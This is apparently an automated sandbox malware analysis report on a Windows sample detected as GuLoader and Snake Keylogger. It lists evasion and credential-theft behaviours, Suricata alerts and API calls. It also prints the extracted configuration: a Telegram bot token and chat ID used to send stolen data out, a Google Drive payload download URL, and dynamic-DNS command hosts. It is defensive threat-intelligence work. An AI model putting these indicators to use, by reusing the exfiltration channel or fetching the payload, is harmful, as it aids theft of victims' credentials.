Edit tour

Windows Analysis Report
GuuQOl5kJR.exe

Overview

General Information

Sample name:	GuuQOl5kJR.exe renamed because original name is a hash value
Original sample name:	ada032dd81e29c0b738bab536c8e240ea7cd87f29a14f98ac7302bb93251833c.exe
Analysis ID:	1632365
MD5:	e9c0c56c4a52c53407de85b33e496e75
SHA1:	a75d2673332707c56b0c8db8416925d771a9e47f
SHA256:	ada032dd81e29c0b738bab536c8e240ea7cd87f29a14f98ac7302bb93251833c
Tags:	exeVIPKeyloggeruser-adrian__luca
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected Snake Keylogger

Joe Sandbox ML detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

GuuQOl5kJR.exe (PID: 7056 cmdline: "C:\Users\user\Desktop\GuuQOl5kJR.exe" MD5: E9C0C56C4A52C53407DE85B33E496E75)

GuuQOl5kJR.exe (PID: 2072 cmdline: "C:\Users\user\Desktop\GuuQOl5kJR.exe" MD5: E9C0C56C4A52C53407DE85B33E496E75)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7985048972:AAETw71DlbcHqzvtl1F1nkzl_0aMbnCis_c", "Chat_id": "7794818739", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.2339510778.00000000338E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1388456956.0000000005E2C000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: GuuQOl5kJR.exe PID: 7056	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
Process Memory Space: GuuQOl5kJR.exe PID: 2072	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T22:54:27.067551+0100	2803305	3	Unknown Traffic	192.168.2.10	49699	104.21.64.1	443	TCP
2025-03-07T22:54:30.249316+0100	2803305	3	Unknown Traffic	192.168.2.10	49701	104.21.64.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T22:54:21.637546+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49697	132.226.247.73	80	TCP
2025-03-07T22:54:24.653292+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49697	132.226.247.73	80	TCP
2025-03-07T22:54:27.825065+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49700	132.226.247.73	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T22:54:12.041953+0100	2803270	2	Potentially Bad Traffic	192.168.2.10	49695	142.250.181.238	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T22:54:52.636499+0100	1810007	1	Potentially Bad Traffic	192.168.2.10	49714	149.154.167.220	443	TCP

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 07 Mar 2025 21:54:52 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000338E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000338E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000338E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000338E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: GuuQOl5kJR.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000338E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000338E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000339C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000339C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000339C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000339C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:618321%0D%0ADate%20a
Source: GuuQOl5kJR.exe, 00000009.00000003.1884578918.0000000003238000.00000004.00000020.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000003.1884640408.0000000003238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033A6C000.00000004.00000800.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enhb&
Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033A67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlBoq
Source: GuuQOl5kJR.exe, 00000009.00000003.1769959029.000000000320D000.00000004.00000020.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2319281708.00000000031C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: GuuQOl5kJR.exe, 00000009.00000003.1769959029.000000000320D000.00000004.00000020.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2319281708.0000000003202000.00000004.00000020.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2319760196.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1_MAOalbsF9ynDQ5rY66GdFW-JuvfEIhB
Source: GuuQOl5kJR.exe, 00000009.00000003.1769959029.000000000320D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1_MAOalbsF9ynDQ5rY66GdFW-JuvfEIhB4
Source: GuuQOl5kJR.exe, 00000009.00000003.1769959029.000000000320D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1_MAOalbsF9ynDQ5rY66GdFW-JuvfEIhBi
Source: GuuQOl5kJR.exe, 00000009.00000002.2319281708.00000000031C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/~L
Source: GuuQOl5kJR.exe, 00000009.00000002.2319281708.0000000003230000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: GuuQOl5kJR.exe, 00000009.00000003.1884578918.0000000003238000.00000004.00000020.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2319281708.0000000003202000.00000004.00000020.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000003.1884640408.0000000003238000.00000004.00000020.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2319281708.00000000031C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1_MAOalbsF9ynDQ5rY66GdFW-JuvfEIhB&export=download
Source: GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.000000003399A000.00000004.00000800.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000339C2000.00000004.00000800.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2339510778.000000003392A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.000000003392A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.000000003392A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033954000.00000004.00000800.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2339510778.000000003399A000.00000004.00000800.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000339C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: GuuQOl5kJR.exe, 00000009.00000003.1884578918.0000000003238000.00000004.00000020.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000003.1884640408.0000000003238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: GuuQOl5kJR.exe, 00000009.00000003.1884578918.0000000003238000.00000004.00000020.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000003.1884640408.0000000003238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: GuuQOl5kJR.exe, 00000009.00000003.1884578918.0000000003238000.00000004.00000020.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000003.1884640408.0000000003238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: GuuQOl5kJR.exe, 00000009.00000003.1884578918.0000000003238000.00000004.00000020.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000003.1884640408.0000000003238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: GuuQOl5kJR.exe, 00000009.00000003.1884578918.0000000003238000.00000004.00000020.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000003.1884640408.0000000003238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033A9D000.00000004.00000800.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033A8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033A8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/hb&
Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033A98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lBoq

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49689
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49686
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 172.217.18.1:443 -> 192.168.2.10:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49714 version: TLS 1.2

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

Code function: 0_2_004052D1 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004052D1

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 0_2_00403358 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		0_2_00403358
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_00403358 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		9_2_00403358

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 0_2_00404B0E	0_2_00404B0E
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 0_2_0040653D	0_2_0040653D
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_00404B0E	9_2_00404B0E
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0040653D	9_2_0040653D
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03075370	9_2_03075370
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0307D278	9_2_0307D278
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0307C147	9_2_0307C147
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0307C738	9_2_0307C738
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0307C46F	9_2_0307C46F
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0307CA08	9_2_0307CA08
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0307E988	9_2_0307E988
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_030769A0	9_2_030769A0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0307CFAA	9_2_0307CFAA
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03076FC8	9_2_03076FC8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03079DE0	9_2_03079DE0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0307CCD8	9_2_0307CCD8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0307F960	9_2_0307F960
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0307E97A	9_2_0307E97A
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_030729E0	9_2_030729E0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03100BA8	9_2_03100BA8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310D970	9_2_0310D970
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031080E8	9_2_031080E8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03101730	9_2_03101730
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310DFC8	9_2_0310DFC8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310EDA8	9_2_0310EDA8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03103DE8	9_2_03103DE8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03108308	9_2_03108308
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03100B99	9_2_03100B99
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310BBB8	9_2_0310BBB8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310BBC8	9_2_0310BBC8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310CA10	9_2_0310CA10
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310CA01	9_2_0310CA01
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310CA0F	9_2_0310CA0F
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310FA38	9_2_0310FA38
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310FA48	9_2_0310FA48
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310D2D9	9_2_0310D2D9
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310D2E8	9_2_0310D2E8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03107950	9_2_03107950
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03107960	9_2_03107960
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310D960	9_2_0310D960
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310D96F	9_2_0310D96F
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031089D8	9_2_031089D8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310001F	9_2_0310001F
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03100040	9_2_03100040
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310C048	9_2_0310C048
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03101720	9_2_03101720
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310CE58	9_2_0310CE58
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310CE68	9_2_0310CE68
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310ED99	9_2_0310ED99
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310F5B8	9_2_0310F5B8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310C5B8	9_2_0310C5B8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310F5A7	9_2_0310F5A7
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310C5A8	9_2_0310C5A8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03103DD9	9_2_03103DD9
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313A388	9_2_0313A388
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03139C68	9_2_03139C68
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03131710	9_2_03131710
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313AD18	9_2_0313AD18
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03133700	9_2_03133700
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313C500	9_2_0313C500
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03131700	9_2_03131700
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313AD08	9_2_0313AD08
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03134932	9_2_03134932
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313EB31	9_2_0313EB31
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03139337	9_2_03139337
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03135B39	9_2_03135B39
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03137B38	9_2_03137B38
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03137B28	9_2_03137B28
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03132950	9_2_03132950
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313D358	9_2_0313D358
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03134940	9_2_03134940
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313EB40	9_2_0313EB40
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313D347	9_2_0313D347
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03135B48	9_2_03135B48
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03139348	9_2_03139348
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03132948	9_2_03132948
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313094F	9_2_0313094F
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313BB70	9_2_0313BB70
